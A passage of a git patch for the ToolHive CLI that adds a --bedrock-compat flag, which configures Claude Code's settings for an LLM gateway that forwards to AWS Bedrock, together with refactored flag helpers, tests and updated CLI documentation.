h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= -oras.land/oras-go/v2 v2.6.1 h1:bonOEkjLfp8tt6qXWRRWP6p1F+9octchOf2EqnWB4Zs= -oras.land/oras-go/v2 v2.6.1/go.mod h1:dhtFrFOuZuDtAVeZ9FUnaa5zfzplG3ZnFX9/uH1J/Yk= +oras.land/oras-go/v2 v2.6.2 h1:N04RXngAp1LJKTG6ifz3xHPipasEkWr+hFmInja5YKo= +oras.land/oras-go/v2 v2.6.2/go.mod h1:PlTtg4JTDJkDe8yVHpM2wz7/YDc00GVas+i4jAW2TZ4= pgregory.net/rapid v1.2.0 h1:keKAYRcjm+e1F0oAuU5F5+YPAWcyxNNRK2wud503Gnk= pgregory.net/rapid v1.2.0/go.mod h1:PY5XlDGj0+V1FCq0o192FdRhpKHGTRIWBgqjDBTrq04= sigs.k8s.io/controller-runtime v0.23.3 h1:VjB/vhoPoA9l1kEKZHBMnQF33tdCLQKJtydy4iqwZ80= From 30fb5d2ceb34a82102a2ff3d3e10cc5463573915 Mon Sep 17 00:00:00 2001 From: Alejandro Ponce de Leon Date: Thu, 16 Jul 2026 16:59:12 +0300 Subject: [PATCH 58/66] Add Bedrock compatibility flag to thv llm setup (#5832) * Add Bedrock compatibility flag to thv llm setup Configuring Claude Code against an LLM gateway that forwards to AWS Bedrock previously required hand-editing settings.json: Bedrock rejects Claude Code's experimental anthropic-beta headers, and Bedrock-style model IDs must be pinned per tier. This adds a --bedrock-compat flag to "thv llm setup" (and "thv llm config set") that writes CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and the three per-tier model IDs into ~/.claude/settings.json. The flag reuses the existing ClearWhenEmpty key-spec mechanism, so teardown, revert, and idempotent re-runs work with no new writer. The setting is persisted so a later plain "thv llm setup" keeps it. --models overrides the default us.anthropic.* IDs (mapped to tiers by matching haiku/opus/sonnet in the ID), and --enable-1m appends the [1m] suffix to opus/sonnet to opt into the 1M context window on Bedrock. Bedrock keys only attach to Claude Code; the flag is a no-op for other clients and warns when Claude Code is not among the configured tools. Co-Authored-By: Claude Opus 4.8 (1M context) * Address Bedrock review: dedupe flags, fix stale warning Resolves the panel review on #5832: - Single source of truth for --models: promote it from BedrockConfig to top-level Config.Models so the credential-helper path (Claude Desktop inferenceModels) and the Bedrock tier mapping read one persisted value. A plain re-run no longer drops the Claude Desktop model list. - Warn (not silently ignore) --enable-1m without --bedrock-compat. - Report duplicate-tier --models overrides instead of silently dropping the clobbered entry (last still wins). - Guard against a doubled [1m] suffix when an override already carries it. - Extract addLLMConnectionFlags and applyChangedLLMFlags helpers shared by "config set" and "setup". Also fix a warning that fired on every setup once bedrock-compat was persisted: warnBedrockNoEffect now keys off the flags passed this run (inlineOpts) rather than the merged config, so "thv llm setup --client claude-desktop" no longer nags about --bedrock-compat the user did not pass. Co-Authored-By: Claude Opus 4.8 (1M context) --------- Co-authored-by: Claude Opus 4.8 (1M context) --- cmd/thv/app/llm.go | 102 ++++++++++++---- cmd/thv/app/llm_test.go | 18 +-- docs/cli/thv_llm_config_set.md | 3 + docs/cli/thv_llm_setup.md | 14 ++- pkg/client/config.go | 21 +++- pkg/client/llm_gateway.go | 24 ++++ pkg/client/llm_gateway_test.go | 60 ++++++++++ pkg/llm/config.go | 31 ++++- pkg/llm/manage.go | 23 ++++ pkg/llm/manage_test.go | 48 ++++++++ pkg/llm/setup.go | 125 +++++++++++++++++++- pkg/llm/setup_test.go | 205 ++++++++++++++++++++++++++++++++- pkg/llmgateway/config.go | 11 ++ 13 files changed, 641 insertions(+), 44 deletions(-) diff --git a/cmd/thv/app/llm.go b/cmd/thv/app/llm.go index 5327873ea1..1ebcc12482 100644 --- a/cmd/thv/app/llm.go +++ b/cmd/thv/app/llm.go @@ -76,10 +76,46 @@ func newConfigCommand() *cobra.Command { return cmd } +// addLLMConnectionFlags registers the gateway connection flags shared by +// "config set" and "setup" so the two commands stay in sync. It binds directly +// into the caller's SetOptions. +func addLLMConnectionFlags(cmd *cobra.Command, opts *llm.SetOptions) { + cmd.Flags().StringVar(&opts.GatewayURL, "gateway-url", "", "LLM gateway base URL (must use HTTPS)") + cmd.Flags().StringVar(&opts.Issuer, "issuer", "", "OIDC issuer URL") + cmd.Flags().StringVar(&opts.ClientID, "client-id", "", "OIDC client ID") + cmd.Flags().StringVar(&opts.Audience, "audience", "", "OIDC audience (optional)") + cmd.Flags().IntVar(&opts.ProxyPort, "proxy-port", 0, "Localhost proxy listen port (omit to keep current; default: 14000)") + cmd.Flags().IntVar(&opts.CallbackPort, "callback-port", 0, "OIDC callback port (omit to keep current; default: ephemeral)") +} + +// applyChangedLLMFlags copies the *bool / []string flag values into opts only +// when the user actually set them, so an unset flag leaves the persisted config +// field unchanged (nil pointer = "not provided"). Shared by "config set" and +// "setup" so both commands treat these flags identically. +func applyChangedLLMFlags( + cmd *cobra.Command, opts *llm.SetOptions, tlsSkipVerify, bedrockCompat, enable1M bool, models []string, +) { + if cmd.Flags().Changed("tls-skip-verify") { + opts.TLSSkipVerify = &tlsSkipVerify + } + if cmd.Flags().Changed("bedrock-compat") { + opts.BedrockCompat = &bedrockCompat + } + if cmd.Flags().Changed("enable-1m") { + opts.Enable1M = &enable1M + } + if cmd.Flags().Changed("models") { + opts.Models = models + } +} + func newConfigSetCommand() *cobra.Command { var ( opts llm.SetOptions tlsSkipVerify bool + bedrockCompat bool + enable1M bool + models []string ) cmd := &cobra.Command{ @@ -94,23 +130,26 @@ Example: --client-id my-client-id`, Args: cobra.NoArgs, RunE: func(cmd *cobra.Command, _ []string) error { - if cmd.Flags().Changed("tls-skip-verify") { - opts.TLSSkipVerify = &tlsSkipVerify - } + applyChangedLLMFlags(cmd, &opts, tlsSkipVerify, bedrockCompat, enable1M, models) return config.UpdateConfig(func(c *config.Config) error { return c.LLM.SetFields(opts) }) }, } - cmd.Flags().StringVar(&opts.GatewayURL, "gateway-url", "", "LLM gateway base URL (must use HTTPS)") - cmd.Flags().StringVar(&opts.Issuer, "issuer", "", "OIDC issuer URL") - cmd.Flags().StringVar(&opts.ClientID, "client-id", "", "OIDC client ID") - cmd.Flags().StringVar(&opts.Audience, "audience", "", "OIDC audience (optional)") - cmd.Flags().IntVar(&opts.ProxyPort, "proxy-port", 0, "Localhost proxy listen port (omit to keep current; default: 14000)") - cmd.Flags().IntVar(&opts.CallbackPort, "callback-port", 0, "OIDC callback port (omit to keep current; default: ephemeral)") + addLLMConnectionFlags(cmd, &opts) cmd.Flags().BoolVar(&tlsSkipVerify, "tls-skip-verify", false, "Skip TLS certificate verification for the upstream gateway (local dev only; use --tls-skip-verify=false to clear)") + cmd.Flags().BoolVar(&bedrockCompat, "bedrock-compat", false, + "Persist Bedrock compatibility for Claude Code (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 + per-tier "+ + "Bedrock model IDs). Applied by \"thv llm setup\". Use --bedrock-compat=false to clear.") + cmd.Flags().BoolVar(&enable1M, "enable-1m", false, + "With Bedrock compat, opt into the 1M context window by appending [1m] to opus/sonnet model IDs.") + cmd.Flags().StringSliceVar(&models, "models", nil, + "Model IDs to persist and apply during \"thv llm setup\", comma-separated or by repeating the flag, e.g. "+ + "--models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. Credential-helper clients "+ + "(Claude Desktop) write these as inferenceModels; with Bedrock compat, each ID is also mapped to a "+ + "Claude Code tier by matching 'haiku', 'opus', or 'sonnet' in the ID.") return cmd } @@ -224,6 +263,8 @@ func newLLMSetupCommand() *cobra.Command { var ( opts llm.SetOptions tlsSkipVerify bool + bedrockCompat bool + enable1M bool targetClient string anthropicPathPrefix string lazy bool @@ -264,12 +305,20 @@ Inline flags (--gateway-url, --issuer, --client-id, etc.) are applied for this run and persisted to config only after login and tool patching succeed. This lets you combine "config set" and "setup" into a single command. +For a gateway that forwards to AWS Bedrock, add --bedrock-compat to configure +Claude Code with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and per-tier Bedrock +model IDs (override with --models; add --enable-1m for the 1M context window on +opus/sonnet). The setting is persisted and only affects Claude Code. To add it to +an already-configured Claude Code, re-run: + + thv llm setup --client claude-code --bedrock-compat + +Re-running is idempotent and uses the cached token (no browser prompt). + Run "thv llm teardown" to revert all changes.`, Args: cobra.NoArgs, RunE: func(cmd *cobra.Command, _ []string) error { - if cmd.Flags().Changed("tls-skip-verify") { - opts.TLSSkipVerify = &tlsSkipVerify - } + applyChangedLLMFlags(cmd, &opts, tlsSkipVerify, bedrockCompat, enable1M, models) cm, err := client.NewClientManager() if err != nil { return fmt.Errorf("initializing client manager: %w", err) @@ -280,17 +329,12 @@ Run "thv llm teardown" to revert all changes.`, return runLLMSetup( cmd.Context(), cmd.OutOrStdout(), cmd.ErrOrStderr(), cm, config.NewDefaultProvider(), login, opts, - anthropicPathPrefix, cmd.Flags().Changed("anthropic-path-prefix"), targetClient, lazy, models, + anthropicPathPrefix, cmd.Flags().Changed("anthropic-path-prefix"), targetClient, lazy, ) }, } - cmd.Flags().StringVar(&opts.GatewayURL, "gateway-url", "", "LLM gateway base URL (must use HTTPS)") - cmd.Flags().StringVar(&opts.Issuer, "issuer", "", "OIDC issuer URL") - cmd.Flags().StringVar(&opts.ClientID, "client-id", "", "OIDC client ID") - cmd.Flags().StringVar(&opts.Audience, "audience", "", "OIDC audience (optional)") - cmd.Flags().IntVar(&opts.ProxyPort, "proxy-port", 0, "Localhost proxy listen port (omit to keep current; default: 14000)") - cmd.Flags().IntVar(&opts.CallbackPort, "callback-port", 0, "OIDC callback port (omit to keep current; default: ephemeral)") + addLLMConnectionFlags(cmd, &opts) cmd.Flags().BoolVar(&tlsSkipVerify, "tls-skip-verify", false, "Skip TLS certificate verification for the upstream gateway (local dev only). "+ "For direct-mode tools (Claude Code, Gemini CLI) this sets NODE_TLS_REJECT_UNAUTHORIZED=0, "+ @@ -307,8 +351,20 @@ Run "thv llm teardown" to revert all changes.`, "Useful for unattended provisioning (e.g. an MDM profile).") cmd.Flags().BoolVar(&skipBrowser, "skip-browser", false, skipBrowserFlagUsage) cmd.Flags().StringSliceVar(&models, "models", nil, - "Explicit model IDs to expose to credential-helper clients (Claude Desktop's inferenceModels). "+ - "Repeat or comma-separate. Omit to rely on the gateway's own model discovery once it is available.") + "Model IDs to configure, comma-separated or by repeating the flag, e.g. "+ + "--models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. "+ + "For credential-helper clients (Claude Desktop) these become inferenceModels. "+ + "With --bedrock-compat, each ID is also mapped to a Claude Code tier by matching "+ + "'haiku', 'opus', or 'sonnet' in the ID (IDs matching no tier are ignored with a "+ + "warning). Omit to use the built-in Bedrock defaults / gateway model discovery.") + cmd.Flags().BoolVar(&bedrockCompat, "bedrock-compat", false, + "Configure Claude Code for a gateway that forwards to AWS Bedrock: write "+ + "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 (Bedrock rejects the experimental anthropic-beta headers) "+ + "and pin per-tier Bedrock model IDs (override with --models). Persisted, so a later plain "+ + "\"thv llm setup\" keeps it; clear with --bedrock-compat=false. Only affects Claude Code.") + cmd.Flags().BoolVar(&enable1M, "enable-1m", false, + "With --bedrock-compat, append the [1m] suffix to the opus and sonnet model IDs to opt into the "+ + "1M-token context window on Bedrock (never haiku, which is 200K). Off by default.") return cmd } @@ -328,12 +384,12 @@ func runLLMSetup( ctx context.Context, out, errOut io.Writer, cm *client.ClientManager, provider config.Provider, login llm.LoginFunc, inlineOpts llm.SetOptions, anthropicPathPrefix string, anthropicPathPrefixSet bool, targetClient string, - lazy bool, models []string, + lazy bool, ) error { return llm.Setup( ctx, out, errOut, &clientManagerAdapter{cm}, &configUpdaterAdapter{provider}, login, - inlineOpts, anthropicPathPrefix, anthropicPathPrefixSet, targetClient, lazy, models, + inlineOpts, anthropicPathPrefix, anthropicPathPrefixSet, targetClient, lazy, ) } diff --git a/cmd/thv/app/llm_test.go b/cmd/thv/app/llm_test.go index 3c3fd10ead..0401387fa0 100644 --- a/cmd/thv/app/llm_test.go +++ b/cmd/thv/app/llm_test.go @@ -71,7 +71,7 @@ func TestRunLLMSetup_NotConfigured(t *testing.T) { provider := llmProvider(t, llm.Config{}) // no gateway URL var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) require.Error(t, err) assert.Contains(t, err.Error(), "not configured") } @@ -98,7 +98,7 @@ func TestRunLLMSetup_NoDetectedTools(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) require.NoError(t, err) assert.Contains(t, stdout.String(), "No supported AI tools detected") } @@ -142,7 +142,7 @@ func TestRunLLMSetup_PartialFailure(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) require.NoError(t, err) assert.Contains(t, stderr.String(), "Warning: failed to configure claude-code") assert.Contains(t, stdout.String(), "Configured gemini-cli") @@ -176,7 +176,7 @@ func TestRunLLMSetup_RollbackOnConfigUpdateFailure(t *testing.T) { provider := &errOnUpdateProvider{cfg: c, updateErr: errors.New("disk full")} var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) require.Error(t, err) assert.Contains(t, err.Error(), "persisting tool configuration") @@ -226,7 +226,7 @@ func TestRunLLMSetup_RollbackBothToolsOnConfigUpdateFailure(t *testing.T) { provider := &errOnUpdateProvider{cfg: c, updateErr: errors.New("disk full")} var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "", false) require.Error(t, err) assert.Contains(t, err.Error(), "persisting tool configuration") @@ -273,7 +273,7 @@ func TestRunLLMSetup_LoginFailureLeavesNoState(t *testing.T) { var stdout, stderr bytes.Buffer err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, func(_ context.Context, _ *llm.Config) error { return loginErr }, - llm.SetOptions{}, "", false, "", false, nil, + llm.SetOptions{}, "", false, "", false, ) require.Error(t, err) assert.Contains(t, err.Error(), "OIDC login failed") @@ -474,7 +474,7 @@ func TestRunLLMSetup_ClientFlag_ConfiguresSingleTool(t *testing.T) { }) var stdout, stderr bytes.Buffer - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "claude-code", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "claude-code", false) require.NoError(t, err) assert.Contains(t, stdout.String(), "Configured claude-code") assert.NotContains(t, stdout.String(), "gemini-cli") @@ -519,7 +519,7 @@ func TestRunLLMSetup_Lazy_SkipsLoginButConfiguresTools(t *testing.T) { var stdout, stderr bytes.Buffer // anthropicPathPrefixSet=true skips the network probe; lazy=true. err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, - recordingLogin, llm.SetOptions{}, "", true, "", true, nil) + recordingLogin, llm.SetOptions{}, "", true, "", true) require.NoError(t, err) assert.False(t, loginCalled, "lazy mode must not invoke the OIDC login") @@ -558,7 +558,7 @@ func TestRunLLMSetup_ClientFlag_NotInstalled(t *testing.T) { var stdout, stderr bytes.Buffer // cursor is not installed (no dir); expect an error. - err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "cursor", false, nil) + err := runLLMSetup(context.Background(), &stdout, &stderr, cm, provider, noopLogin, llm.SetOptions{}, "", false, "cursor", false) require.Error(t, err) assert.Contains(t, err.Error(), `"cursor" is not installed or not detected`) } diff --git a/docs/cli/thv_llm_config_set.md b/docs/cli/thv_llm_config_set.md index 2d5a89afbc..c732df1cbd 100644 --- a/docs/cli/thv_llm_config_set.md +++ b/docs/cli/thv_llm_config_set.md @@ -31,11 +31,14 @@ thv llm config set [flags] ``` --audience string OIDC audience (optional) + --bedrock-compat Persist Bedrock compatibility for Claude Code (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 + per-tier Bedrock model IDs). Applied by "thv llm setup". Use --bedrock-compat=false to clear. --callback-port int OIDC callback port (omit to keep current; default: ephemeral) --client-id string OIDC client ID + --enable-1m With Bedrock compat, opt into the 1M context window by appending [1m] to opus/sonnet model IDs. --gateway-url string LLM gateway base URL (must use HTTPS) -h, --help help for set --issuer string OIDC issuer URL + --models strings Model IDs to persist and apply during "thv llm setup", comma-separated or by repeating the flag, e.g. --models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. Credential-helper clients (Claude Desktop) write these as inferenceModels; with Bedrock compat, each ID is also mapped to a Claude Code tier by matching 'haiku', 'opus', or 'sonnet' in the ID. --proxy-port int Localhost proxy listen port (omit to keep current; default: 14000) --tls-skip-verify Skip TLS certificate verification for the upstream gateway (local dev only; use --tls-skip-verify=false to clear) ``` diff --git a/docs/cli/thv_llm_setup.md b/docs/cli/thv_llm_setup.md index 409b03de12..c2c0e50d45 100644 --- a/docs/cli/thv_llm_setup.md +++ b/docs/cli/thv_llm_setup.md @@ -45,6 +45,16 @@ Inline flags (--gateway-url, --issuer, --client-id, etc.) are applied for this run and persisted to config only after login and tool patching succeed. This lets you combine "config set" and "setup" into a single command. +For a gateway that forwards to AWS Bedrock, add --bedrock-compat to configure +Claude Code with CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and per-tier Bedrock +model IDs (override with --models; add --enable-1m for the 1M context window on +opus/sonnet). The setting is persisted and only affects Claude Code. To add it to +an already-configured Claude Code, re-run: + + thv llm setup --client claude-code --bedrock-compat + +Re-running is idempotent and uses the cached token (no browser prompt). + Run "thv llm teardown" to revert all changes. ``` @@ -56,14 +66,16 @@ thv llm setup [flags] ``` --anthropic-path-prefix string Path prefix appended to the gateway URL when writing ANTHROPIC_BASE_URL for direct-mode tools (e.g. /anthropic). When omitted, the gateway is probed automatically. --audience string OIDC audience (optional) + --bedrock-compat Configure Claude Code for a gateway that forwards to AWS Bedrock: write CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 (Bedrock rejects the experimental anthropic-beta headers) and pin per-tier Bedrock model IDs (override with --models). Persisted, so a later plain "thv llm setup" keeps it; clear with --bedrock-compat=false. Only affects Claude Code. --callback-port int OIDC callback port (omit to keep current; default: ephemeral) --client string Configure only this AI tool by name (e.g. claude-code, cursor, codex). Omit to configure all detected tools. --client-id string OIDC client ID + --enable-1m With --bedrock-compat, append the [1m] suffix to the opus and sonnet model IDs to opt into the 1M-token context window on Bedrock (never haiku, which is 200K). Off by default. --gateway-url string LLM gateway base URL (must use HTTPS) -h, --help help for setup --issuer string OIDC issuer URL --lazy Skip the interactive OIDC login and defer it until the first time a configured tool accesses the gateway. Tool config and persisted settings are written normally. Useful for unattended provisioning (e.g. an MDM profile). - --models strings Explicit model IDs to expose to credential-helper clients (Claude Desktop's inferenceModels). Repeat or comma-separate. Omit to rely on the gateway's own model discovery once it is available. + --models strings Model IDs to configure, comma-separated or by repeating the flag, e.g. --models=us.anthropic.claude-opus-4-8,us.anthropic.claude-sonnet-5. For credential-helper clients (Claude Desktop) these become inferenceModels. With --bedrock-compat, each ID is also mapped to a Claude Code tier by matching 'haiku', 'opus', or 'sonnet' in the ID (IDs matching no tier are ignored with a warning). Omit to use the built-in Bedrock defaults / gateway model discovery. --proxy-port int Localhost proxy listen port (omit to keep current; default: 14000) --skip-browser Print the OIDC authorization URL instead of opening a browser, then wait for the callback. Use in headless/SSH/CI environments where no system browser is available. --tls-skip-verify Skip TLS certificate verification for the upstream gateway (local dev only). For direct-mode tools (Claude Code, Gemini CLI) this sets NODE_TLS_REJECT_UNAUTHORIZED=0, disabling TLS for ALL of that tool's outbound connections. For proxy-mode tools only the proxy-to-gateway connection is affected. diff --git a/pkg/client/config.go b/pkg/client/config.go index aeea686d2e..613f8405ad 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -165,8 +165,10 @@ const ( // - ValueField names which ApplyConfig field to write. Valid values: // "GatewayURL", "AnthropicBaseURL", "ProxyBaseURL", "ProxyOrigin", // "TokenHelperCommand", "PlaceholderAPIKey", "ClaudeCodeHelperTTLMillis", -// "NodeTLSRejectUnauthorized". An unrecognised ValueField is a programming -// error and causes ConfigureLLMGateway to return an error. +// "NodeTLSRejectUnauthorized", "BedrockDisableExperimentalBetas", +// "BedrockHaikuModel", "BedrockOpusModel", "BedrockSonnetModel". An +// unrecognised ValueField is a programming error and causes +// ConfigureLLMGateway to return an error. // - Literal is written verbatim into the settings key (e.g. a fixed auth // type string). Use Literal instead of ValueField for constant values so // that typos in ValueField are caught as errors rather than silently @@ -180,7 +182,8 @@ type LLMGatewayKeySpec struct { JSONPointer string // RFC 6901 path // ValueField: "GatewayURL" | "AnthropicBaseURL" | "ProxyBaseURL" | "ProxyOrigin" | // "TokenHelperCommand" | "PlaceholderAPIKey" | "ClaudeCodeHelperTTLMillis" | - // "NodeTLSRejectUnauthorized" + // "NodeTLSRejectUnauthorized" | "BedrockDisableExperimentalBetas" | + // "BedrockHaikuModel" | "BedrockOpusModel" | "BedrockSonnetModel" ValueField string Literal string // constant value written verbatim; mutually exclusive with ValueField ClearWhenEmpty bool // remove the key when the resolved value is empty (ignored for Literal) @@ -555,6 +558,18 @@ var supportedClientIntegrations = []clientAppConfig{ // NODE_TLS_REJECT_UNAUTHORIZED is only written when --tls-skip-verify is set. // ClearWhenEmpty ensures it is removed when the flag is later cleared. {JSONPointer: "/env/NODE_TLS_REJECT_UNAUTHORIZED", ValueField: "NodeTLSRejectUnauthorized", ClearWhenEmpty: true}, + // Bedrock-compat keys (written only with --bedrock-compat). Bedrock rejects + // Claude Code's experimental anthropic-beta headers, so betas are disabled; + // the per-tier model IDs pin Bedrock inference-profile IDs. All use + // ClearWhenEmpty so a non-Bedrock setup removes any stale keys. + { + JSONPointer: "/env/CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", + ValueField: "BedrockDisableExperimentalBetas", + ClearWhenEmpty: true, + }, + {JSONPointer: "/env/ANTHROPIC_DEFAULT_HAIKU_MODEL", ValueField: "BedrockHaikuModel", ClearWhenEmpty: true}, + {JSONPointer: "/env/ANTHROPIC_DEFAULT_OPUS_MODEL", ValueField: "BedrockOpusModel", ClearWhenEmpty: true}, + {JSONPointer: "/env/ANTHROPIC_DEFAULT_SONNET_MODEL", ValueField: "BedrockSonnetModel", ClearWhenEmpty: true}, }, }, { diff --git a/pkg/client/llm_gateway.go b/pkg/client/llm_gateway.go index ef7dc8eb8d..f2a5ea2287 100644 --- a/pkg/client/llm_gateway.go +++ b/pkg/client/llm_gateway.go @@ -389,9 +389,33 @@ func resolveApplyConfigField(valueField string, cfg llmgateway.ApplyConfig) (str return "0", true } return "", true + default: + return resolveBedrockField(valueField, cfg) + } +} + +// resolveBedrockField resolves the Claude Code bedrock-compat ValueFields. The +// values are written only in bedrock-compat mode; otherwise they resolve to "" +// so their ClearWhenEmpty key specs remove the key. Returns (_, false) for any +// non-bedrock field so the caller can report an unknown ValueField. +func resolveBedrockField(valueField string, cfg llmgateway.ApplyConfig) (string, bool) { + var v string + switch valueField { + case "BedrockDisableExperimentalBetas": + v = "1" + case "BedrockHaikuModel": + v = cfg.BedrockHaikuModel + case "BedrockOpusModel": + v = cfg.BedrockOpusModel + case "BedrockSonnetModel": + v = cfg.BedrockSonnetModel default: return "", false } + if !cfg.BedrockCompat { + return "", true + } + return v, true } // llmValueForSpec returns the config value for a settings-file key spec. diff --git a/pkg/client/llm_gateway_test.go b/pkg/client/llm_gateway_test.go index 7f41faaaeb..be751e2a09 100644 --- a/pkg/client/llm_gateway_test.go +++ b/pkg/client/llm_gateway_test.go @@ -171,6 +171,66 @@ func TestRealClientConfigs_ConfigureAndRevert(t *testing.T) { // ── helpers ─────────────────────────────────────────────────────────────────── +// TestConfigureLLMGateway_ClaudeCodeBedrock verifies that BedrockCompat writes +// CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and the three per-tier model IDs into +// Claude Code's settings.json, and that without BedrockCompat those keys are +// absent (the ClearWhenEmpty behaviour), all against the real config table. +func TestConfigureLLMGateway_ClaudeCodeBedrock(t *testing.T) { + t.Parallel() + + bedrockPointers := map[string]string{ + "/env/CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1", + "/env/ANTHROPIC_DEFAULT_HAIKU_MODEL": "us.anthropic.claude-haiku-x", + "/env/ANTHROPIC_DEFAULT_OPUS_MODEL": "us.anthropic.claude-opus-x[1m]", + "/env/ANTHROPIC_DEFAULT_SONNET_MODEL": "us.anthropic.claude-sonnet-x[1m]", + } + + t.Run("BedrockCompat writes keys", func(t *testing.T) { + t.Parallel() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + require.NoError(t, os.MkdirAll(filepath.Join(home, ".claude"), 0o700)) + + path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + TokenHelperCommand: `"thv" llm token`, + BedrockCompat: true, + BedrockHaikuModel: "us.anthropic.claude-haiku-x", + BedrockOpusModel: "us.anthropic.claude-opus-x[1m]", + BedrockSonnetModel: "us.anthropic.claude-sonnet-x[1m]", + }) + require.NoError(t, err) + + data, err := os.ReadFile(path) + require.NoError(t, err) + for ptr, want := range bedrockPointers { + got, ok := jsonPointerGet(data, ptr) + assert.True(t, ok, "pointer %q missing", ptr) + assert.Equal(t, want, got, "wrong value at %q", ptr) + } + }) + + t.Run("without BedrockCompat keys are absent", func(t *testing.T) { + t.Parallel() + home := t.TempDir() + cm := NewTestClientManager(home, nil, supportedClientIntegrations, nil) + require.NoError(t, os.MkdirAll(filepath.Join(home, ".claude"), 0o700)) + + path, err := cm.ConfigureLLMGateway(ClaudeCode, llmgateway.ApplyConfig{ + GatewayURL: "https://gw.example.com", + TokenHelperCommand: `"thv" llm token`, + }) + require.NoError(t, err) + + data, err := os.ReadFile(path) + require.NoError(t, err) + for ptr := range bedrockPointers { + _, ok := jsonPointerGet(data, ptr) + assert.False(t, ok, "pointer %q should be absent without BedrockCompat", ptr) + } + }) +} + // newLLMManager builds a ClientManager with a single direct-mode LLM entry // whose settings dir is homeDir/. func newLLMManager(t *testing.T, clientType ClientApp, mode, dir string, ptrs, vals []string) (*ClientManager, string) { diff --git a/pkg/llm/config.go b/pkg/llm/config.go index 0731d7c773..18b789466c 100644 --- a/pkg/llm/config.go +++ b/pkg/llm/config.go @@ -25,13 +25,36 @@ type OIDCConfig = pkgoidc.ClientConfig // Config holds all LLM gateway settings persisted under the llm: key in // ToolHive's config.yaml. type Config struct { - GatewayURL string `yaml:"gateway_url,omitempty" json:"gateway_url,omitempty"` - TLSSkipVerify bool `yaml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"` - OIDC OIDCConfig `yaml:"oidc,omitempty" json:"oidc,omitempty"` - Proxy ProxyConfig `yaml:"proxy,omitempty" json:"proxy,omitempty"` + GatewayURL string `yaml:"gateway_url,omitempty" json:"gateway_url,omitempty"` + TLSSkipVerify bool `yaml:"tls_skip_verify,omitempty" json:"tls_skip_verify,omitempty"` + OIDC OIDCConfig `yaml:"oidc,omitempty" json:"oidc,omitempty"` + Proxy ProxyConfig `yaml:"proxy,omitempty" json:"proxy,omitempty"` + Bedrock BedrockConfig `yaml:"bedrock,omitempty" json:"bedrock,omitempty"` + // Models is the persisted, single source of truth for the model IDs applied + // during setup. It feeds two consumers: credential-helper clients (Claude + // Desktop) write it verbatim as inferenceModels, and — when Bedrock compat is + // on — each entry is also mapped to a Claude Code tier (see BedrockConfig). + // Persisting it here (rather than passing a transient flag value) keeps both + // consumers consistent on a later plain "thv llm setup". + Models []string `yaml:"models,omitempty" json:"models,omitempty"` ConfiguredTools []ToolConfig `yaml:"configured_tools,omitempty" json:"configured_tools,omitempty"` } +// BedrockConfig holds settings for configuring Claude Code to reach an LLM +// gateway that forwards to AWS Bedrock. It is persisted so that a later plain +// "thv llm setup" re-applies these settings rather than silently clearing them. +type BedrockConfig struct { + // Compat, when true, writes CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1 and the + // per-tier Bedrock model IDs into Claude Code's settings.json. Bedrock rejects + // Claude Code's experimental anthropic-beta headers, so this is required for a + // Bedrock-backed gateway. + Compat bool `yaml:"compat,omitempty" json:"compat,omitempty"` + // Enable1M appends the "[1m]" suffix to the opus and sonnet model IDs to opt + // into the 1M-token context window on Bedrock (never haiku, which is 200K). + // Off by default: 1M-on-Bedrock is a version-dependent Claude Code behavior. + Enable1M bool `yaml:"enable_1m,omitempty" json:"enable_1m,omitempty"` +} + // ProxyConfig 